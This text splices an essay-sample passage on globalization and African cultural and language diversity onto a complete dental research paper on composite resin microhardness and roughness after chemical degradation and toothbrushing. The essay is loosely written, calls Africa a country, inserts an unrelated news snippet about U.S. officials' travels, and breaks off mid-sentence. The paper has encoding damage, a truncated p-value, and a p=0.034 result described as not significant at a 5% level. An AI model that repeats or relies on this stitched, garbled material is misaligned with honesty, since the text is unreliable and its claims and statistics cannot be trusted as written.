Globalization and Cultural and Language Diversity - Essay Example Website. Frida Mujale-Manenji stated that the effect globalization has greatly affected the African culture immensely and it's culture is presently diverse. It had affected the African people's cultural behaviors in different ways. People have had to adopt by changing their living ways in order to survive. The advertisements of the famous Coca-Cola drinks can be heard across boundaries in towns, cities and townships and even in remote rural areas where drinking water is a problem to get. Globalization in Africa involves the opening up of its economies to trading with the global market forces, freely and widely. Globalization has forced countries like Africa to deregulate foreign investment, liberalized its imports, remove currency controls, emasculate the direct economic role of the state, and so on. The effect on culture and language is to further undermine the internal, national productive capacity, social security and democratic integrity of these countries Journal. Journal. Kenyatta (2002) stated that "More than 100 students, activists and scholars gathered recently at Columbia University's Teachers College to explore the effects of globalization and decentralization on education, health care and land reform in Nigeria, South Africa and Uganda." The Globalization has a big effect on the culture and language of Africa and the supernational organizations such as The World Bank, The IMF (International Monetary Fund), the WTO (World Trade Organization) have come to dominate prescriptions underpinning state strategies for economic recovery and growth of this continent. Dr. Gregory Anderson, assistant professor of higher and postsecondary education at Teachers College stated that "these global forces are increasingly hegemonic and, in the case of Africa, with its longstanding history of problems and dilemmas, globalization as an ideology is distinctly shaping the arenas of policy and the directions and scope of state reforms." Therefore, Africa must learn to adjust itself to survive globalization. For a continent where several thousand languages are spoken within its borders, language has long been viewed as a challenge to education and political development. As a result, colonial language policies of the past often forbade the use of African languages in official functions of the state. Today, the official languages as well as the languages of instruction and scholarship in most educational institutions continue to be English, French and Portuguese, despite the fact that far greater numbers speak other languages. Globalization has lowered the status of the local dialects as compared to French, English and Portuguese. Newspaper/Magazine. ABC news dated Jan 17 stated that First Lady Laura Bush went to meet with the President of Ghana this morning. The First Lady is continuing her travels through Africa today as she heads to Nigeria where she will meet with President Obasanjo tomorrow morning. Vice President Cheney travels in Egypt and Saudi Arabia today. He is scheduled to meet with President Mubarak in Cairo and King Abdullah in Riyadh. These are some of the scheduled meetings from his trip to the region in December which needed to be cut short so he could cast a tie-breaking vote in the Senate. The

Effect of Microhardness on Chemical Degradation

Effect of Microhardness on Chemical Degradation Abstract Objective: The aim of this study was to evaluate the effect of chemical degradation media associated with brushing on surface roughness (Ra) and Knoop microhardness (KHN) analyses of different composites. Material and Methods: Eighty specimens were prepared for each composite: Grandio SO (Voco), Amaris (Voco), Filtek Supreme (3M/ESPE), Filtek LS (3M/ESPE). The specimens were divided into four groups according to the immersion in chemical degradation media for 7 days: artificial saliva (control), heptane, 0.02M citric acid, 70% ethanol. The surface of specimens was submitted to 10950 brushing cycles (200g load) in an automatic tooth-brushing machine with abrasive slurry. Surface roughness and microhardness measurements were obtained at baseline, after immersion in chemical degradation media and after brushing. Data were submitted to three-way repeated measures ANOVA and Tukey’s test (pResults: The KHN means for composites were: Grandio (153.5 ±35.9)a, Filtek Supreme (87.0 ± 24.9)b, Amaris (64.5 ±24.5)c, LS (69.0 ±15.3)c; for storage media: artificial saliva (97.3 ±46.7)a, ethanol (93.3 ±49.9)a, citric acid (95.8 ±42.1)a, heptane (87.6 ±36.7)b; and after treatments: after chemical degradation (104.8 ±49.7)a, baseline (93.8 ±42.5)b, after brushing (81.9 ±36.5)c. The Ra results for composites were: LS (0.15 ±0.25)a, Grandio SO (0.19 ±0.24)ab, Filtek Supreme (0.20 ±0.22)ab, Amaris (0.23 ±0.37)b; for storage media: artificial saliva (0.18 ±0.31)a, heptane (0.18 ±0.25)a, ethanol (0.20 ±0.26)a, citric acid (0.21 ±0.28)a; and after treatments: brushing (0.11 ±0.14)a, after chemical degradation (0.23 ±0.32)b, baseline (0.24 ±0.32)b. Conclusions: Brushing after chemical degradation reduced surface roughness values. In general, chemical degradation did not affect composites roughness, but microhardness was significantly reduced. Heptane produced the biggest reduction in composites microhardness. Clinical Relevance: The food-simulating solutions and brushing simulating alter the composites properties, and these alterations are material-dependent. Keywords: composites, chemical degradation, brushing, Knoop microhardness, surface roughness. Introduction Improvements on the composition and mechanical properties of resin-based materials along with increased esthetic demands have resulted in the enlarged use of direct composite restorations in anterior and posterior teeth [1,2]. These improvements provided more strength and durability to the composite restorations under the conditions of the oral environment. Most of the available composites contain a polymer matrix of dimethacrylate monomers, such as Bis-GMA, UDMA, and TEGDMA (organic phase), inorganic filler particles (dispersed phase) coated with a methyl methacrylate-functional silane coupling agent to bond the filler to the organic matrix, a photoinitiator system to allow photoactivation by light units and other minor additions including polymerization initiators, stabilizers and coloring pigments [3-5]. However, the critical oral environment conditions (pH changes or humidity) may increase the composite biodegradation over time [6]. Under oral conditions, dental materials may be exposed either intermittently or continuously to chemical agents present in saliva, food and beverages [1]. Previous studies have shown that some dietary foods and beverages can cause surface degradation of restorative materials [7-14]. Their constituents can soften the organic phase and promotes disintegration of the dispersed phase, altering the surface hardness [1,15]. Besides of chemical environment, the toothbrushing is another condition that influences the longevity of composites restorations in vivo. Although toothbrushing plays an important role in oral hygiene, the effects of abrasion constitutes another important issue on dental materials wear processes, which can result in alterations in surface roughness, loss of contour, staining and plaque retention [16]. There are several types of composites nowadays, such as nanohybrid, nanofill and microhybrid, which have the similar polymer matrix composition. However, the inorganic phase (size, type and distribution of filler particles) are different. Therefore, the effects of chemical degradation liquids and toothbrushing on surface roughness and microhardness of these types of composites must be reported. Thus, the aim of this study was to evaluate the effects of chemical degradation associated with toothbrushing on surface roughness and microhardness of different composites. The null hypothesis tested was that the immersion in chemical degradation media and brushing are not able to modify the surface roughness and microhardness of the tested materials. Material and Methods Specimens preparation Eighty cylindrical specimens of each composite were fabricated (shade A3) using a metallic matrix with 2 mm in height and 3 mm in diameter. A mylar strip was placed over the composite and pressed with a glass plate to provide a flat surface, being removed after curing. The composites were applied in increments of 2 mm and cured on the top surface using LED photocuring unit (Elipar Freelight 2, 3M/ESPE, St. Paul, MN, USA) at 1200 mW/cm2 power density, activated for 40 s. After curing, they were stored in individual containers with deionized water for 24 h. Then, they were polished using a sequence of 1200, 2400 and 4000 grit aluminum oxide abrasive disks (Extec, Enfield, CT, USA) in a polishing device (DP-10, Panambra, Sà £o Paulo, Brazil). After polishing, all the specimens were immersed in deionized water at 37  ºC for 24 h. Four direct restorative materials were tested, as described in Table 1. Knoop microhardness measurements The microhardness measurement was performed with a microhardness tester (FM-700, Future-Tech, Tokyo, Japan), Knoop tip, under 25 g load for 10 s. Three indentations were performed 100  µm apart from each other, at the surface of the specimens. The means were determined as Knoop Hardness Number (KHN). Surface roughness analysis The mean surface roughness (Ra) was evaluated using a profilometer (MaxSurf XT 20, Mahr, Goettingen, Germany). The diamond stylus moved 2.5 mm long starting the first measurement 0.2 mm from the lower area of specimen. Three profile measurements were performed for each specimen at intervals of 0.25 mm and a final average was used. The mean Ra values were determined with a cut-off value of 0.8 mm, a transverse length of 0.8 mm, and a stylus speed of 0.1 mm/s. Chemical degradation media immersion The specimens of each composite were randomly divided according to the food-simulated substances tested (n=20). The solutions tested are mediums recommended by FDA (1976) to be used as food-simulating liquids [17]. Heptane P.A. (Synth – Labsynth, Diadema, Sà £o Paulo, Brazil) was used to simulate butter, fat meals and vegetable oils. Citric acid 0.02M (Synth) simulated beverages, vegetables, fruits and candies. Ethanol 70% (Zulu Hospitalar 70% Companhia Nacional de à lcool, Piracicaba, Sà £o Paulo, Brazil) simulated alcoholic beverages and mouthrinses. Artificial saliva was used as control and prepared according to Gohring et al. [18] using 22.1 mmol/l hydrogen carbonate, 16.1 mmol/l of potassium, 14.5 mmol/l sodium, 2.6 mmol/l hydrogen phosphate, 0.8 mmol/l boric acid, 0.7 mmol/l calcium, 0.4 mmol/l thiocyanate and 0.2 mmol/l magnesium. The specimens were kept in individual vials with 2 ml of each solution for 7 days at 37  ºC. After this period, the specimens were washed thoroughly, and stored in deionized water at 37  ºC, for 24 h. The microhardness and surface roughness were evaluated. Brushing protocols Subsequently, the experimental units were subjected to brushing abrasion in an automatic toothbrushing (TB) machine (ODEME Biotechnology – Joaà §aba, Santa Catarina, Brazil) which imparted reciprocating motion to 6 soft bristle toothbrush heads (Sanifill Ultraprofissional, Hypermarcas – Sà £o Paulo, Brazil). This apparatus provides linear brushing movements across the specimens at a speed of 120 cycles per min at 37 °C, with a double pass of the brush head over the surface. The top surface of resin composites cylinders were submitted to 10950 brushing stokes under a vertical load of 200 g with abrasive slurry, simulating one year of clinical situation [19]. The abrasive slurry consisted of fluoridated dentifrice (Colgate Tripla Aà §Ãƒ £o, Colgate-Palmolive, Sà £o Paulo, Brazil) and artificial saliva, in a ratio of 1:3, by weight [20]. Toothbrushes were replaced after the completion of each brushing cycles. After brushing, the specimens were kept in deionized water at 37 ºC, for 24 h. At the end of this protocol, the microhardness and surface roughness was obtained. Statistical analysis This experiment followed a factorial scheme of the 4x3x4 type. The experimental variables under study were composites [Grandio, Amaris, Filtek LS, Filtek Supreme], time [baseline, after chemical degradation (CD) and after brushing (TB)] and the food-simulating media [artificial saliva (AS), heptane (H), citric acid (CA) and ethanol (E)]. The variable responses were the mean roughness measurement value obtained in profilometer, and the average of three microhardness readings. Data were submitted to statistical analysis using the computer software Statistica for Windows (Statsoft, Tulsa, OK, USA). The inferential statistics consisted of three-way repeated measures ANOVA (composites, time, and chemical degradation media), in which the variable time was considered as a repeated factor, followed by Tukey’s test. The level of significance was the conventional value of 5%. Results Microhardness evaluation The mean KHN values of the composites after chemical degradation media are shown in Figure 1. The application of RM-ANOVA showed significant differences for the factors composites (p=0.0001), time (p=0.0001) and chemical degradation (p=0.0001). Grandio SO composite presented the highest KHN values for all times tested. Amaris and Filtek LS exhibited values significantly lower than Filtek Supreme and Grandio SO (Table 2). For the chemical degradation media factor, the immersion in heptane produced the lowest microhardness means, compared to the other tested media (Table 3). Regarding the different times, the microhardness (KHN) values significantly increased after immersion in chemical degradation media and decreased after brushing, compared to baseline means (Table 4). Surface roughness analysis The means of roughness surface (Ra) for the composites are shown in Figure 2. The application of RM-ANOVA showed no significant differences for composite (p=0.034) and time (p=0.626) factors. The roughness means obtained for Amaris composite were significantly higher than Filtek LS. Grandio SO and Supreme exhibited intermediate means (Table 2). For the chemical degradation media, no significant differences were obtained for surface roughness (Table 3). The Ra means after brushing were lower than at baseline and after chemical degradation CD (Table 4). Discussion The chemical environment is one aspect of the oral conditions which has an appreciable influence on the in vivo degradation of composites [21]. Some chemicals substances from food and drinks can lead to surface degradation of composite restorations, resulting in unaesthetic appearance and increased surface roughness, accelerating the wear of dental materials [22,23]. This degradation is mainly due to the softness of composite matrices with exposure to organic acids and various food and liquid constituents [24,25,12]. Previously published studies have reported that acidic conditions show a tendency to degrade glass ionomer cements, polyacid modified composite resins, and composite resins [9,26,10,27,11]. The present study was performed to investigate the Knoop microhardness and surface roughness of four composites, before and after simulating oral conditions. Hardness is defined as the resistance to permanent indentation or penetration [28,1]. It is used to predict the wear resistance of a material and its ability to cause abrasion opposing tooth structure [28]. The composites exposed in food-simulating media can suffer chemical softening, reducing their physico-mechanical properties. Changes in the composite hardness usually occur within the first 7 days after exposure to chemical solutions [21]. Therefore, this study conducted the initial readings of the hardness in the specimens after post-cure [1], and another reading after the exposure period of immersion. In the present study, specimens stored in heptane showed significantly reduction in microhardness, as also observed previously [14,28]. Heptane simulates butter, fatty meals and vegetables oil [14,1] and may damage the resin matrix,[12,28] producing cracks in the interface, and consequently, weakening the material.[14] It is questioned if alcohol-containing beverages may compromise the longevity of composites restorations [29], since it presents the potential of damaging polymers [1,12], by fully penetrating the resin matrix and promoting the release of unreacted monomers [13]. The partial dissolving of the resin matrix may result in the degradation of the filler-matrix interface, thereby impairing the flexural strength and hardness [14]. In this study, the concentration of ethanol solution (70%) was used according to previous [28] but it showed no significant effect in the microhardness of composites. The differences in hardness values compared to previous studies could be related to the surface characteristics of the composites, filler distribution and conversion rate [30]. Furthermore, the period of 24 h of storage before immersion in ethanol may lead to complete polymerization of the composites, reducing the presence of unreacted monomers on the surface [1,14]. The effects of intraoral organic acids, as citric acid, besides producing tooth erosion, can cause surface degradation of composites [9], favoring the breaking of bonds in Bis-GMA molecules of composites [24,11]. Despite of others studies that citric acid reduced the hardness of composites [7,9], in this study no differences were observed in the microhardness of the composites when immersed in citric acid for 7 days. Nevertheless, the period of storage may have been insufficient to promote differences in the mechanical properties of the specimens’ surface [7,14]. Differences in microhardness means among the composites exposed to the tested solutions were found and are related to their composition and particle content [14,29]. Grandio SO, Filtek Supreme and Amaris have similar matrix composition (Bis-GMA, UDMA, TEGDMA), however, differ in size and amount of filler particles (Table 1). The higher resistance of Bis-GMA to the degradation effects of immersion media can be explained by the fact that bis-acryl resin composite materials contain bifunctional acrylates, which cross-link to provide increased mechanical strength and resistance to weakening in the presence of solvents [28,31]. Grandio SO and Filtek Supreme present nanoscale particles, which provide better mechanical resistance compared to hybrid resins, superior polishing than microfilled resins, higher strength and reduced polymerization shrinkage [32]. Due to their nanoscale, these materials showed the highest microhardness values in this study. By the other hand, Filtek LS is constituted of silorane, with quartz and yttrium fluoride as inorganic filler, which increased hydrophobicity and reduced water sorption [33]. Differences in microhardness among Filtek LS and others composite could be attributed to the lower filler content (76% w/w), as observed by Yesilyurt et al. [14]. Therefore, the differences in composites compositions could have contributed to the differences in hardness. After simulated toothbrushing, there was a reduction in microhardness values. This fact may be due to changes on the surface of the resin matrix when immersed in the solutions before brushing. According to a previous study [2], the immersion in food-simulating media increased the exposure of filler particles by softening the matrix. Additionally, toothbrushing can change the surface of composites [2,34,35]. In clinical situation, the consumption of food or beverages occurs before brushing habits, making this association clinically relevant. Although an increase of the composite surface roughness and degradation after brushing have been previously reported,[2] significantly lower roughness means were obtained after brushing in this study. Likewise, previous studies showed that most of composites did not present significant changes by the immersion on chemical degradation media in surface roughness over time [2,9,15]. This study found differences on surface roughness of mycrohybid, nanofill and nanohybrid composites, as results of their differences in their compositions. Filtek LS, myycrohybrid composite, had the lowest surface roughness, probably due to low filler content. Filtek Supreme e Grandio SO had an intermediate smoother texture, whereas Amaris showed the roughest surface. Nevertheless, despite of these initial differences, the immersion in chemical solutions did not interfere in the final surface roughness. However, interaction between immersion in food-simulating media and simulated brushing decreased surface roughness, as observed by Turssi et al. [20] This may be attributed to the reaction of the solutions with the polymer matrix. Toothbrushing after the immersion on food-simulating media resulted in the removal of part of the organic matrix around the loosen fillers [2]. Then, the softened matrix have become mixed with the abrasive slurry, decreasing its abrasive potential [20]. Roughness surfaces of composite favors the accumulation of plaque, gingival inflammation, superficial staining and secondary caries. It is noteworthy that the effect of brushing on the composites depends on several factors, such as the type of toothpaste, type and shape of the brush bristles, the proportion of deionized-water solution, as well as speed and weight applied during simulation process. As these parameters were standardized for all groups, it can be suggested that the surface roughness varies with the size, hardness and percentage of composite particles, as reported previously [20,36]. The different treatments tested resulted in alteration of composite properties, and these alterations were material-dependent; thus, the null hypothesis tested was rejected. The present study is important for guiding the improvements of the present composite resins against the challenges they will face during clinical service. It is also relevant to state that esthetics represents only one of the reasons for composite resin restorations failure. Improvements in other areas such as bonding degradation, material deterioration and ability to prevent caries progression/activity should be also considered. Conclusion According to the limitations of this study, it can be concluded that: The microhardness means of the tested composites were influenced by the material; Toothbrushing reduced Ra values of the materials tested, but the solutions used for chemical degradation did not affect the results. Conflict of Interest The authors declare that they have no conflict of interest.